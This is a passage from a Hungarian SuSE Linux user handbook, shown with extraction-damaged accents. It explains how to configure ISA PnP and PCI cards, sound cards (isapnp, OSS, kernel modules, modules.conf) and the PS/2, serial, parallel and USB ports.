10. A Linux s a hardver Rgi tpus krtyk: Ezeknek a krtyknak a kongurlst, pldul az adott krtya ltal hasznlt I/O cmek, megszaktsok s DMA csatornk belltst, teljes mrtkben kzzel kell elvgezni a krtyn tallhat jumperek vagy mikrokapcsolk segtsgvel. Ellen rizni kell azt is, hogy o nem hasznlja-e egyszerre kt vagy tbb krtya az olyan er forrsokat, o mint az IRQ vagy a DMA csatornk. Ezrt az ilyen krtyk belltsa kiss nehzkes. Jumper nlkli krtyk: Az els genercis ISA krtykhoz viszonytva a o jumper nlkli krtyk el nye, hogy az er forrsok belltsa mr nem o o jumperekkel, hanem egy specilis kongurl programmal trtnik. Ezek a programok azonban ltalban csak DOS alatt llnak rendelkezsre, gy Linux alatt nem hasznlhatk. PnP krtyk: A Plug and Play krtyk a jumper nlkli krtyk logikus tovbbfejlesztsei. Ezek a krtyk troljk a kongurcis adatokat s a lehetsges belltsok listjt, gy egy specilis program vagy meghajtprogram lekrdezheti a rendszerben lv PnP krtykat, s bellthatja o azokat oly mdon, hogy ne tkzzenek egymssal. Ha egy krtya nincs belltva, akkor az gyakorlatilag nem ltezik a rendszer szmra. Linuxban a PnP rendszer krtyk belltsra az ap kszletbe tartoz u isapnp csomag szolgl, amely kt programot tartalmaz, a pnpdumpot s az isapnp-t. Hogyan aktivlhatk a PnP krtyk az isapnp eszkzk segtsgvel? Hajtsuk vgre az albbi lpseket: Jelentkezznk be root felhasznlknt (azaz rendszergazdaknt). Ha a /etc knyvtrban mr ltezik egy isapnp.conf fjl, el bb ko sztsnk biztonsgi msolatot rla tnevezssel.
meggyfa:/ # mv /etc/isapnp.conf /etc/isapnp.conf.bak

Adjuk ki a kvetkez parancsot: o


meggyfa:/ # pnpdump -c > /etc/isapnp.conf,

ezzel ltrehoztuk a /etc/isapnp.conf fjlt. A -c paramter hatsra a pnpdump program oly mdon kszti el a kimeneti fjlt, hogy a o PnP eszkzk azonnal aktivldjanak. Ha kiadjuk az
meggyfa:/ # isapnp /etc/isapnp.conf,

parancsot, a gpben lv PnP krtyk aktivizldnak. A SuSE Linux o rendszerben ez a rendszer minden indtsakor automatikusan megtrtnik. Lehetsges hibaforrsok Tnet: A pnpdump a "No boards found" hibazenettel tr vissza. El fordulhat az is, hogy egy vagy tbb teleptett ISA PnP krtyt nem o ismer fel a rendszer. Lehetsges magyarzatok: A rendszerben nem tallhat PnP krtya: ellen rizzk, hogy milyen o krtyk tallhatk a szmtgpben, s olvassuk el a krtyk lerst. Szksg esetn krdezzk meg a keresked t, akit l a szmtgpet o o vsroltuk, hogy milyen krtyk vannak a gpben. 312

10.2. Krtyk A krtya hibs: gy z djnk meg rla, hogy minden krtya megfeleo o l en helyezkedik-e el a csatlakozaljzatban. Ellen rizzk, hogy a kro o tyk ms opercis rendszer alatt m kdnek-e. u Vannak olyan krtyk, amelyek hasznlhatk ISA PnP krtyaknt is, de rgztetten is kioszthatk szmukra az er forrsok (pldul egyes o 10 Mbites NE2000 ISA Ethernet-krtyk, SMC 1660). A kt zemmd kztt ltalban egy DOS program segtsgvel lehet tkapcsolni. A krtyk belltstl fgg en ezek nem jelennek meg a pnpdump o program kimenetben. Van nhny olyan ISA PnP krtya, amely nem m kdik, ha a gpben u ms ISA PnP krtyk is tallhatk. Ilyenkor a pnpdump kimenetben csak az egyik krtya lthat. El fordulhat, hogy valamelyik krtya gy o van belltva, hogy ne ISA PnP krtyaknt m kdjn (pldul egy a u krtyn lv jumper segtsgvel rgztett er forrsok hasznlathoz o o lett belltva). Akad nhny olyan krtya, amely a pnpdump futtatsa utn alaphelyzetbe ll vissza. SCSI krtyk esetn ez a szmtgp lefagyst okozhatja, pldul abban az esetben, ha a gykr (root) partci az adott vezrl hz tartozik. Ha ilyen problma lp fel, prbljuk meg a kro tyt gy belltani, hogy ne ISA PnP krtyaknt m kdjn. Esetleg u a krtyt ne a Linux alatt inicializljuk, hanem (DOS-bl) a loadlin program segtsgvel tltsk be a Linux opercis rendszert, ebben az esetben a krtya a Linux elindtsakor mr inicializlva lesz. Tnet: Az isapnp parancs futtatsakor vagy az opercis rendszer indtsakor az albbi hibazenet jelenik meg:
* * * * * LD setting failed, this may not be a problem. Try adding (VERIFYLD N) to the top of your script Error occurred requested LD2 on or around line 319 --- further action aborted

Megolds: Kvessk a hibazenet ltal tartalmazott javaslatot, s szrjuk be az albbi sort az /etc/isapnp.conf fjl elejre
(VERIFYLD N)

A fjl a kvetkez kppen nz ki: o


# [...] # (DEBUG) (VERIFYLD N) (READPORT 0x0203) (ISOLATE) (IDENTIFY *) # [...]

Tnet: Az isapnp parancs futtatsakor vagy az opercis rendszer indtsakor az albbi hibazenet jelenik meg: 313

10. A Linux s a hardver


[...] /etc/isapnp.conf:66 -Fatal - resource conflict allocating 16 bytes of IO at 220 (see /etc/isapnp.conf) /etc/isapnp.conf:66 -- Fatal - IO range check attempted while device activated /etc/isapnp.conf:66 -- Fatal - Error occurred executing request <IORESCHECK> --- further action aborted

Megolds: Valszn leg tkzs van a /etc/isapnp.conf fjlban megu adott rtkek s a rendszer ltal mr hasznlt er forrsok kztt. Hasono ltsuk ssze a /etc/isapnp.conf tartalmt a krdses er forrsokkal o kapcsolatos informcikkal, amelyek a /proc knyvtrban tallhatk. Ez a lps nem szksges, ha a -c belltssal engedlyeztk a pnpdump program szmra, hogy sajt maga vgezze el a kiosztst. Ha a szmtgp bellt programjban (setup) az ISA PnP er forrsok o BIOS-on keresztli belltsa engedlyezve van, szmos esetben zavarok tmadhatnak. Ilyenkor le kell tiltanunk ezt a belltst. Mivel a kongurlst a pnpdump/isapnp vgzi el, nem szksges a setupban engedlyezni ezt a belltst. Ha a problma ennl sszetettebb, tanulmnyozzuk az isapnp csomag terjedelmes dokumentcijt, amely az /usr/doc/packages/isapnp knyvtrban tallhat a szmtgpen. A jelen alfejezet vgn rszletes ttekints tallhat a PnP krtyk belltsval kapcsolatban. A PnP krtyk belltst egy hangkrtya pldjn keresztl mutatjuk be. PCI krtyk A PCI buszhoz csatlakoz krtykat rendszerint egyltaln nem kell belltania a felhasznlnak. A PCI buszt ler szabvnyban megksreltk megszntetni a korbbi buszrendszer korltait, ezrt egy intelligens, automatikus belltsi mdot dolgoztak ki. Minden PCI krtyt a szmtgp BIOS-a aktivl a rendszer indtsakor. A felhasznlnak ltalban lehet sge van a megszao ktsok kiosztsi mdjnak befolysolsra a BIOS belltsai segtsgvel. A Linux indulskor kzvetlenl a PCI BIOS-bl olvassa ki a PCI eszkzk belltsait, s ezeket az adatokat hasznlja a PCI alrendszer informciinak megjelentsre. Ha kiadjuk az
meggyfa:/ # lspci -tv

parancsot, megtekinthetjk a Linux ltal felismert sszes PCI eszkz listjt: A kvetkez alfejezetben elvgezzk egy PCI hangkrtya belltst is. o

10.3

Hangkrtyk

A piacon jelenleg alapvet en ktfajta hangkrtya kaphat, az ISA s a PCI o hangkrtyk, az el bbiek mindazonltal a jelek szerint ma mr lassan kio halban vannak. gy t nik, az ISA krtyk gyrtsa hamarosan megsz u u nik. A SuSE Linux jelenleg ktfle mdon tmogatja a hangkrtykat. 314

10.3. Hangkrtyk

-[00]-+-00.0 Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge +-01.0-[01]----00.0 Nvidia Corporation Riva TNT +-04.0 Intel Corporation 82371AB PIIX4 ISA +-04.1 Intel Corporation 82371AB PIIX4 IDE +-04.2 Intel Corporation 82371AB PIIX4 USB +-04.3 Intel Corporation 82371AB PIIX4 ACPI +-06.0 Adaptec 7890 09.0 Digital Equipment Corporation DECchip 21140 [FasterNet]

10.2.1 kperny lista: Az lspci -tv parancs kimenete o Az egyik lehet sg az opso csomag vagy az opsod_up csomag o (demo), illetve tbbprocesszoros rendszer esetn az opso_smp csomag s az osodsmp (demo) csomag teleptse, amely a pay kszletben tallhat. A msik lehet sg a hangkrtykat tmogat kernelalap modulok haszno lata. 10.3.1 OSS / OSSdemo

Ezek a csomagok idelisan alkalmasak ISA s ISA-PnP hangkrtyk belltsra. Az opso s az opso_smp csomag mr regisztrlt a SuSE felhasznlk szmra, gy teljes mrtkben m kd kpes. Az opsod_up s u o az opsod_smp csomagok viszont mg nem engedlyezettek, ezrt csak 20 percig m kdnek. u Az OSS vagy az OSSdemo hangkrtya-meghajtprogramok hasznlata: Teleptsk a pay kszletben tallhat fenti csomagok valamelyikt a YaST hasznlatval. Vltsunk rendszergazdaknt (root) a /tmp mappban a megfelel o teleptsi knyvtrra, s futtassuk az oss-install programot:
meggyfa:/ # cd /tmp/opso-3.8.1z meggyfa:/tmp/opso-3.8.1z # ./oss-install

A program keresztlvezet a meghajtprogram teleptsn. Miutn a program lefutott, az


meggyfa:/tmp/opso-3.8.1z # soundon

paranccsal tlthetjk be, s vehetjk hasznlatba az OSS meghajtprogramokat. Amennyiben inkbb a kernelmodulokat szeretnnk hasznlni a hangkrtyhoz, olvassuk el a kvetkez alfejezetet. o 10.3.2 Hangkrtyk tmogatsa Linux alatt

Hangkrtya Linux alatti hasznlathoz az albbiakat kell tennnk: A hardver azonostsa: Milyen tpus a belltand krtya (gyrt, a krtyn lv lapka to pusa)? Milyen fajtj (ISA, ISA-PnP, PCI) a krtya? 315

10. A Linux s a hardver A hardver belltsa: Jumperek belltsa, illetve kongurls az isapnp eszkzk hasznlatval. a meghajtprogram teleptse s betltse: A kernelmodulok betltse vagy az OSS meghajtprogram elindtsa. A kvetkez kben rszletesen ttekintjk a fenti lpseket. o A hardver azonostsa: Rgi tpus ISA hangkrtyk Mg ma is szles krben hasznlnak ilyen krtykat, els sorban a ro gebbi szmtgpekben. Belltsukra a krtyn tallhat tktsek (jumperek) szolglnak. Ezekkel adhatk meg a hasznlt er forrsok o (I/O cmek, IRQ vonalak s DMA csatornk). ISA PnP hangkrtyk Ezek a krtyk abban trnek el a rgebbi krtyktl, hogy az er foro rsok (I/O cmek, IRQ, DMA) szoftver segtsgvel llthatk be. gy ezeknl a krtyknl mr nincs szksg jumperek hasznlatra. PCI hangkrtyk A PCI hangkrtyk belltsa a legegyszer bb. A buszon tallhat kru tykat a szmtgp automatikusan kongurlja. A meghajtprogramok szoftveres illeszt felleten keresztl rhetik el a krtya er forro o sait. A hardver belltsa: Rgi tpus ISA hangkrtyk: A hangkrtya szolgltatsaitl fgg en o klnbz er forrsokat kell belltani. Az albbi plda egy Creative o o Soundblaster 16 hangkrtya belltst mutatja be: I/O cmek A kvetkez I/O cmek rvnyesek ezen krtya esetn: o Audio I/O Jtkport MPU-401 FM-Szintzis

Csak az audio I/O (0x220, 0x240, 0x260 vagy 0x280) s az MPU401 (0x300 vagy 0x330) mdosthat. A jtkport (0x200) s az FM szintzis (0x388) cme alaprtelmezs szerint rgztett. Megszaktsok (IRQ-k) A krtya sajt megszaktst ignyel. Ez lehet IRQ 2, 5, 7 vagy 10. DMA csatornk A belltsi lehet sgek DMA 0, 1, 3, 5, 6 vagy 7. 8 bites adattvitel o esetn DMA 1, 16 bitesnl a DMA 5 az alaprtelmezett. A hangkrtya jumpereit gy kell belltani, hogy a krtya ltal hasznlt er forrsok ne tkzzenek a szmtgpben tallhat ms krtyk ltal o hasznlt er forrsokkal. Jegyezzk fel a belltsokat. o 316

10.3. Hangkrtyk ISA PnP hangkrtyk: Az ilyen krtyk er forrsait specilis szofto verrel kell aktivizlni. Az OSS hasznlata jelent sen megknnyti o ezeknek a krtyknak a hasznlatt, mivel ez a program automatikusan keresi a krtykat, s azonnal belltja azokat. A PnP krtykhoz kernelalap meghajtk is hasznlhatk, azonban ilyenkor a krtyt a kernelmodulok betltse el tt aktivizlni kell. A Linux isapnp o programcsomagja hasznlhat erre a clra. A pnpdump program egy kongurcis fjlt hoz ltre, amely felsorolja a rendszerben tallhat PnP krtyk sszes er forrst. Ezt a listt ezutn kzzel szerkeszto hetjk, ha mskppen szeretnnk kiosztani a krtyk szmra az er o forrsokat. rjuk be az
meggyfa:/ # pnpdump -c > /etc/isapnp.conf

parancsot, ennek hatsra ltrejn a /etc/isapnp.conf fjl. Az albbiakban egy Creative Soundblaster AWE64 hangkrtya aktivizlsa lthat:
# # # # # # # # # # # # # This is free software, see the sources for details. This software has NO WARRANTY, use at your OWN RISK For details of this file format, see isapnp.conf(5) For latest information and FAQ on isapnp and pnpdump see: http://www.roestock.demon.co.uk/isapnptools/ Compiler flags: -DREALTIME -DNEEDSETSCHEDULER -DABORT_ONRESERR Trying port address 0203 Trying port address 020b Board 1 has serial identifier 54 17 0e db 74 9e 00 8c 0e

# (DEBUG) (READPORT 0x020b) (ISOLATE PRESERVE) (IDENTIFY *) (VERBOSITY 2) (CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING # # # # # # # # # # # # # # # # Card 1: (serial identifier 54 17 0e db 74 9e 00 8c 0e) Vendor Id CTL009e, Serial Number 386849652, checksum 0x54. Version 1.0, Vendor version 2.0 ANSI string -->Creative SB AWE64 Gold<-Logical device id CTL0044 Device supports vendor Device supports vendor Device supports vendor Device supports vendor Device supports vendor

reserved reserved reserved reserved reserved

register register register register register

@ @ @ @ @

0x38 0x3a 0x3b 0x3c 0x3d

Edit the entries below to uncomment out the configuration required. Note that only the first value of any range is given, this may be changed if required Dont forget to uncomment the activate (ACT Y) when happy

(CONFIGURE CTL009e/386849652 (LD 0 # ANSI string -->Audio<-# Multiple choice time, choose one only ! # # # # # # # # # # # # # # # # # # Start dependent functions: priority preferred IRQ 5. High true, edge sensitive interrupt (by default) (INT 0 (IRQ 5 (MODE +E))) First DMA channel 1. 8 bit DMA only Logical device is not a bus master DMA may execute in count by byte mode DMA may not execute in count by word mode DMA channel speed in compatible mode (DMA 0 (CHANNEL 1)) Next DMA channel 5. 16 bit DMA only Logical device is not a bus master DMA may not execute in count by byte mode DMA may execute in count by word mode DMA channel speed in compatible mode (DMA 1 (CHANNEL 5)) Logical device decodes 16 bit IO address lines Minimum IO base address 0x0220 Maximum IO base address 0x0220

317

10. A Linux s a hardver


# # # # # # # # # # # # IO base alignment 1 bytes Number of IO addresses required: 16 (IO 0 (SIZE 16) (BASE 0x0220)) Logical device decodes 16 bit IO address lines Minimum IO base address 0x0330 Maximum IO base address 0x0330 IO base alignment 1 bytes Number of IO addresses required: 2 (IO 1 (SIZE 2) (BASE 0x0330)) Logical device decodes 16 bit IO address lines Minimum IO base address 0x0388 Maximum IO base address 0x0388 IO base alignment 1 bytes Number of IO addresses required: 4 (IO 2 (SIZE 4) (BASE 0x0388))

# End dependent functions (NAME "CTL009e/386849652[0]{Audio }") (ACT Y) )) # # Logical device id CTL7002 # Device supports vendor reserved register @ 0x39 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Dont forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 1 # Compatible device id PNPb02f # ANSI string -->Game<-# Multiple choice time, choose one only ! # # # # # # Start dependent functions: priority preferred Logical device decodes 16 bit IO address lines Minimum IO base address 0x0200 Maximum IO base address 0x0200 IO base alignment 1 bytes Number of IO addresses required: 8 (IO 0 (SIZE 8) (BASE 0x0200))

# End dependent functions (NAME "CTL009e/386849652[1]{Game }") (ACT Y) )) # # Logical device id CTL0023 # Device supports vendor reserved register @ 0x38 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Dont forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 2 # ANSI string -->WaveTable<-# Multiple choice time, choose one only ! # # # # # # Start dependent functions: priority preferred Logical device decodes 16 bit IO address lines Minimum IO base address 0x0620 Maximum IO base address 0x0620 IO base alignment 1 bytes Number of IO addresses required: 4 (IO 0 (SIZE 4) (BASE 0x0620)) (IO 1 (BASE 0x0a20)) (IO 2 (BASE 0x0e20))

# End dependent functions (NAME "CTL009e/386849652[2]{WaveTable (ACT Y) )) # End tag... Checksum 0x00 (OK) # Returns all cards to the "Wait for Key" state (WAITFORKEY)

}")

PCI hangkrtyk: A PCI hangkrtyk belltsa nagyon egyszer . A u szmtgp automatikusan belltja a PCI buszt, s kiosztja az er o forrsokat az egyes krtyk szmra. A meghajtprogramok denilt szoftveres illeszt felleten keresztl krdezhetik le a krtya er forro o 318

10.3. Hangkrtyk sait. a meghajtprogram teleptse s betltse: A bellts utols lpse sorn a meghajtprogram-modulok szmra meg kell adni a hardver kongurcijt. Erre az /etc/modules.conf fjl megfelel bejegyzsei o szolglnak. ISA s PnP krtyk: A rendszer tartalmazza a kernel ltal tmogatott krtyatpusokhoz val el fordtott modulokat (kernmod csomag). A kernelforrs o (lx_suse csomag, source kszlet) teleptse utn rszletes informcikat tallunk a /usr/src/linux/Documentation/sound knyvtrban. Ellen rizzk, hogy a /etc/modules.conf fjlban a sound aliasok o le vannak-e tiltva, szksg esetn ki kell kommentezni ezeket az aliasokat az erre szolgl # jel segtsgvel, amint az a 10.3.1 . fejezetben (322. oldal) lthat. Ha pldul a Soundblaster 16 csaldba tartoz hangkrtyval rendelkeznk, a krtya ltal tartalmazott funkcikhoz (audio, MPU410 s szintetiztor) tartoz meghajtprogramokat pldul a kvetkez pao ranccsal tlthetjk be:
meggyfa:/ # modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330

A parancs betlti a Soundblaster 16 jelenlegi meghajtprogramjt. Egybknt az AWE64 hangkrtyhoz is ugyanez a modul szksges. Az MPU401 meghajtt a Soundblaster meghajtprogram tartalmazza. A hangkrtya s az uart401, sound, soundflow s soundcore modulok m kdshez szksges meghajtprogramok automatikusan u betlt dnek. Ezek a modulok szmos alacsony szint , valamint az o u sszes hangmodulban kzs funkcit vgeznek el. Az
meggyfa:/ # lsmod

paranccsal ellen rizhet , hogy a modulok be vannak-e tltve. o o


meggyfa:/ # modprobe adlib_card io=0x388

A fenti parancs betlti a krtya ltal tartalmazott szintetiztorhoz tartoz modult. A 10.1 . fejezetben (332. oldal) tblzata felsorolja a jelenleg elrhet o meghajt-programokat. Az egyes modulokhoz hasznlhat lehetsges paramterek a kernelparamterek fejezetben tallhatk (lsd a 14.3.4 . fejezetben (398. oldal)). PCI krtyk A kvetkez lpsenknti tmutat a Creative Soundblaster PCI 64/128 o pldjn keresztl mutatja be a hangkrtyk belltst: A Soundblaster PCI 64/128 hangkrtykon ES1370 vagy ES1371 tpus audilapka tallhat. 1. Nzzk meg az audiolapka feliratn, hogy ES1370 vagy ES1371 tpus-e, majd teleptsk a krtyt. 319

10. A Linux s a hardver 2. Mdostsuk az /etc/modules.conf fjlt. A 38. sor krnykn a kvetkez bejegyzsek tallhatk: o
alias char-major-14 off alias sound off alias midi off

Mdostsuk a sorokat az albbiak szerint:


# alias char-major-14 off # alias sound off # alias midi off

A 100. sor krnykn kezd dik a hangkrtya-modulok kongurcija. o Vltoztassuk az


# alias char-major-14 es1370

sort az albbira:
alias char-major-14 es1370

a megjegyzs jel ("#") eltvoltsval. Ha a hangkrtyn ES1371 lapka tallhat, jrjunk el a fentiek szerint, de hasznljuk a kvetkez , az es1371.o modulra vonatkoz bejegyo zst. 3. Indtsuk el a kever t (mixer). o Az lsmod parancs a kvetkez t kell, hogy kirja: o
Module es1370 soundcore ... Size Used by 21748 1 (autoclean) 2084 4 (autoclean) [es1370]

10.3.1 kperny lista: Az lsmod parancs kimenete o 4. Ha ez nem m kdik azonnal, prbljuk meg ismt a depmod -a u paranccsal. 5. Prbljunk hangokat lejtszani a szmtgppel a kscd, az x11amp, xmms vagy valamely hasonl program segtsgvel. Ellen rizzk a kever belltsait (ha az sszes csatorna ki van kapo o csolva, a legjobb audi-meghajtprogram sem hasznlhat semmire ;-)). Vegyk gyelembe, hogy a KDE nem ismeri fel automatikusan azokat a hangkrtykat, melyek az es1370.o vagy az es1371.o modult ignylik, mivel ezek a modulok nem hozzfrhet k a /dev/sndstat eszo kzfjlbl. Ha a KDE alatt is szeretnnk lvezni a rendszerhangokat, az albbiak szerint mdostsuk az /opt/kde/bin/startkde fjlt: Keressk meg az albbi sorokat:
startifaudio kaudioserver startifaudio kwmsound

s mdostsuk az albbiak szerint: 320

10.3. Hangkrtyk
kaudioserver & kwmsound &

A Creative Soundblaster Live! hangkrtyhoz rendelkezsre ll egy csatol, amelyet a Creative Labs fejlesztett ki. Teleptsk a snd kszletben tallhat emu10k1 csomagot a YaST hasznlatval. A meghajtprogram teleptsnek mdjrl tovbbi informci tallhat a /usr/doc/packages/emu10k1/README.SuSE fjlban. Ellen rzs. Lssuk, mukdik-e? o Ha mr az sszes szksges modult teleptettk, s ellen rizni szeretnnk, o hogy a hangkrtya valban m kdik, adjuk ki a kvetkez parancsot: u o
meggyfa:/ # cat /dev/sndstat

Ez Sound Blaster 16 hangkrtya esetn az albb lthat 10.3.2-hoz hasonl kimenetet kell, hogy eredmnyezzen. [...] Audio devices: 0: Sound Blaster 16 (4.13) (DUPLEX) Synth devices: 0: Yamaha OPL3 Midi devices: 0: Sound Blaster 16 Timers: 0: System clock Mixers: 0: Sound Blaster 10.3.2 kperny lista: A cat /dev/sndstat parancs kimenete o Ha a parancs eredmnyeknt a kvnt kimenetet kaptuk, megprblhatunk lejtszani egy hangfjlt (ezek a snd kszletben, a snd_au csomagban, a snd_wav csomagban s a snd_mod csomagban tallhatk): ehhez szksges, hogy az snd kszletb l a sox csomag teleptve legyen: o
meggyfa:/ # cat /usr/share/sounds/au/swedish.au > /dev/audio meggyfa:/ # cat /usr/share/sounds/wav/applause.wav > /dev/dsp meggyfa:/ # tracker /usr/share/sounds/mod/rebels.mod

MIDI-fjlok knnyen lejtszhatk a kmid KDE-programmal, feltve, hogy a hangkrtya tmogatja ezt a funkcit. Ha a cat /dev/sndstat parancs kimenete a kvntnak megfelel , s a o cat mysong.au > /dev/audio parancs nem eredmnyez hibazeneteket, de tovbbra sincs hang, nzzk meg az audiomixert a KDE panelen. Lehet, hogy csak tl alacsonyra van belltva a hanger . o A kernelmodul automatikus betltse Ha biztosan tudjuk, hogy a meglv meghajtprogramok teljes mrtkben o tmogatjk a krtyt, automatikusan is betlthetjk a megfelel modulokat o 321

10. A Linux s a hardver


# alias char-major-14 off # alias sound off # alias midi off alias char-major-14 sb post-install sb /sbin/modprobe "-k" "adlib_card" options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330 options adlib_card io=0x0388 # FM synthesizer

10.3.1 fjllista: /etc/modules.conf: Hangmodulok belltsai a /etc/modules.conf fjl megfelel sornak mdostsval. Pldul o Soundblaster 16 hangkrtya esetn a 10.3.1 bra szemllteti ezt. Nincs ltalnos szably arra, hogy egy hangkrtya milyen funkcikat tmogat, ezrt neknk kell utnanzni a krtya dokumentcijban, illetve a /usr/src/linux/Documentation/sound knyvtrban tallhat informcikban, hogy mely modulokat kell betlteni. Tovbbi tippek tallhatk az /usr/src/linux/drivers/sound knyvtrban, a meghajtprogramok forrsban. Azonban az /etc/modules.conf fjlban vannak olyan el re denilt bejegyzsek, amelyek kzl felhasznlhatjuk a megfeleo l t. o A /etc/modules.conf fjlbl val betltse helyett a /sbin/init. d/boot.local fjlban a fent emltett modprobe parancsok valamelyiknek hasznlatval is betlthet k a kvnt hangkrtya-modulok (lsd a 17.4 . o fejezetben (460. oldal)).

10.4
10.4.1

A szmtgp portjai
PS/2 Port

A PS/2 portot az IBM fejlesztette ki eredetileg a PS/2 platformhoz. Az ATX szabvny, amely tartalmazza ezt a porttpust, az utbbi nhny vben szles krben elterjedt. A PS/2 porthoz egr vagy billenty zet csatlakoztathat. u Linux alatt nincs szksg a PS/2 port belltsra, mivel a kernel tmogatja azt. A rendszer automatikusan felismeri a meglv PS/2 portokat, s kpes o a hozzjuk csatlakoz eszkzk vezrlsre. A portok a /dev/kbd s a /dev/psaux eszkzneveken tallhatk s rhet k el. o 10.4.2 Soros portok

A szmtgp soros (RS232) portjt gyakran kls modem csatlakoztatsra o hasznljk. RS232 csatlakozval rendelkez egeret is csatlakoztathatunk a o soros portba. Linux opercis rendszerben a port tmogatshoz a serial.o kernelmodul szksges. Ez a modul automatikusan betlt dik, ha egy bizonyos szofto ver a porthoz fordul. Ha pldul gy lltottuk be az internet-hozzfrst, hogy az a COM1 porton tallhat modemet hasznlja, a modul automatikusan betlt dik mg a szolgltatval val kapcsolat ltrehozsa el tt. o o 322

10.4. A szmtgp portjai A soros port belltsait a setserial program segtsgvel mdosthatjuk. Ezt a programot a /sbin/init.d parancsfjl a rendszer minden indtsakor lefuttatja. A setserial -lal kapcsolatos tovbbi informcit a program kziknyvoldala tartalmaz. A soros portoknak megfelel eszkzfjlok a o /dev/ttyS0, /dev/ttyS1 ... stb. alatt tallhatk. 10.4.3 Prhuzamos portok

A szmtgp prhuzamos portjt els sorban nyomtat csatlakoztatsra o hasznljk. Szmos ms eszkz is ltezik, amely ezt a portot hasznlja, pldul kls ZIP-, illetve CD-ROM/RAM meghajtk. o A jelenlegi 2.2.xx verziszm Linuxkernelek "parport" alrendszert gy terveztk, hogy lehet v tegye tbb, egyazon prhuzamos porthoz csatlakozo tatott eszkz egyidej hasznlatt1 . gy pldul lehet sg van arra, hogy a u o prhuzamos porthoz csatlakoztatott ZIP-meghajthoz egy nyomtatt csatlakoztassunk. A parport inicializlsa Ehhez a parport s a parport_pc modul kernelbeli tmogatsra van szksg2 , ahol a parport modul a kernel tnyleges alrendszere, a parport_pc modul pedig a PC port hardver-sszekttetsr l gondoskoo dik, valamint egyes AXP szmtgpekir l. o A
meggyfa: # modprobe parport_pc

paranccsal kzzel betlthetjk a modulokat. Az lsmod paranccsal ellen orizzk, hogy a portok megtallhatk-e s be vannak-e lltva. A listban a parport s a parport_pc modul is meg kell, hogy jelenjen. A /var/log/messages fjlban meg tudjuk nzni, hogy mely rtkeket hasznlta gpnk a parport modul inicializlsra (lsd a 10.4.1 fjllistt).
Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 (0x778) [SPP,ECP,ECPEPP,ECPPS2]

10.4.1 fjllista: /var/log/messages: a parport inicializlsa A 10.4.2 fjlista a port belltst mutatja, a kommentezett bejegyzsek tippeket adnak a msodik prhuzamos port belltshoz. Problmk esetn el szr nzzk meg, hogy a szmtgp BIOS-ban o hogy van megadva a krdses port. A portnak sajt cmmel (lehet leg o 0x378) s megszaktssal kell rendelkeznie. Az "Automatic" bellts kerlend . o Bizonyos esetekben szksges, hogy az eszkzket a megfelel sorrendben o kapcsoljuk be, nzznk utna a kziknyvekben! Az egyik ajnlott eljrs,
1 A "rgi" 2.0.xx kernelben egy porton csak egyetlen eszkz hasznlhat, a "tbbszrs" csatlakozsra sincs lehet sg! o 2 Ehhez NINCS szksg a kernel jrafordtsra; a szksges modulokat el re lefordtott llao potban tartalmazza a SuSE Linux!

323

10. A Linux s a hardver


alias parport_lowlevel parport_pc options parport_pc io=0x378 irq=none # If you have multiple parallel ports, specify them # this way: # options parport_pc io=0x378,0x278 irq=none,none

10.4.2 fjllista: /etc/modules.conf: a parport belltsa hogy el szr a szmtgpet kapcsoljuk be, majd mg a rendszer elindulsa o el tt azonnal kapcsoljuk be a kls eszkzket. o o A parport hasznlata: Nyomtatk, ZIP-meghajtk, PLIP stb. Ha prhuzamos porthoz csatlakoztatott eszkzt hasznlunk, a hozz tartoz modult is be kell tlteni, nyomtat esetben az lp-modult:
meggyfa: # modprobe lp

Az lsmod parancs tbbek kztt az albbi informcikat is megmutatja:


parport_pc parport lp 5568 6884 5116 1 1 0 (autoclean) [parport_pc lp] (unused)

Ahogy ms esetekben is, a tovbbi rszleteket a /var/log/messages fjl, illetve a proc fjlrendszerben a /proc/parport tartalmazza. Ha minden megfelel en m kdik, nincs szksg a modulok kzi betltsre a o u Kmod program ezt automatikusan elvgzi helyettnk (lsd a 13.2 . fejezetben (377. oldal)), ha pldul egy nyomtatsi munka kerl elkldsre. A ZIP-meghajtkat nem a ppa vagy az imm szolglja ki lsd albb, a 10.5.3 bekezdsben a kvetkez oldalon. o Tovbbi tancsok Nzznk krl a kernelforrsokban, a /usr/src/linux/Documentation knyvtrban, illetve a parport.txt s a paride.txt fjlokban. A parport fejlesztsnek jelenlegi llsrl a World Wide Weben tallunk informcikat a http://www.torque.net/linux-pp.html s a http://www.torque.net/parport/ cmeken. 10.4.4 USB Univerzlis soros busz

Az Universal Serial Bus (univerzlis soros busz) az elmlt vek egyik legfontosabb jdonsga a szemlyiszmtgp-piacon. Az USB port segtsgvel egyszer en lehet a szmtgphez egeret, billenty zetet, lapolvast (szkenu u nert) s ms eszkzket csatlakoztatni. Ezek az eszkzk azonos tpus kbellel s csatlakozval rendelkeznek, gy nincs szksg klnbz tpus, o 324

10.5. Cserlhet meghajtk o mint pl. RS232 s Centronics kbelekre. USB-t hasznlva a szmtgp kikapcsolsa nlkl is csatlakoztathat vagy levlaszthat egy eszkz. Lehet sg van nyomtat csatlakoztatsra vagy levlasztsra gy, hogy nem kell o kzben jraindtani a szmtgpet. A Linux a 2.4.x kernelekt l kezdve tmogatja teljes kr en ezt a buszrendo u szert. Az USB-vel kapcsolatban tovbbi informcik az interneten a: http: //www.linux-usb.org/ cmen tallhatk.

10.5

Cserlhet meghajtk o

Linux alatt tbbfajta cserlhet meghajt hasznlhat: o hajlkonylemezes meghajtk, ZIP-, JAZZ- vagy SyQuest meghajtk. Lehet sg van magnetooptikai meghajtk hasznlatra is. o 10.5.1 Hajlkonylemezes meghajtk

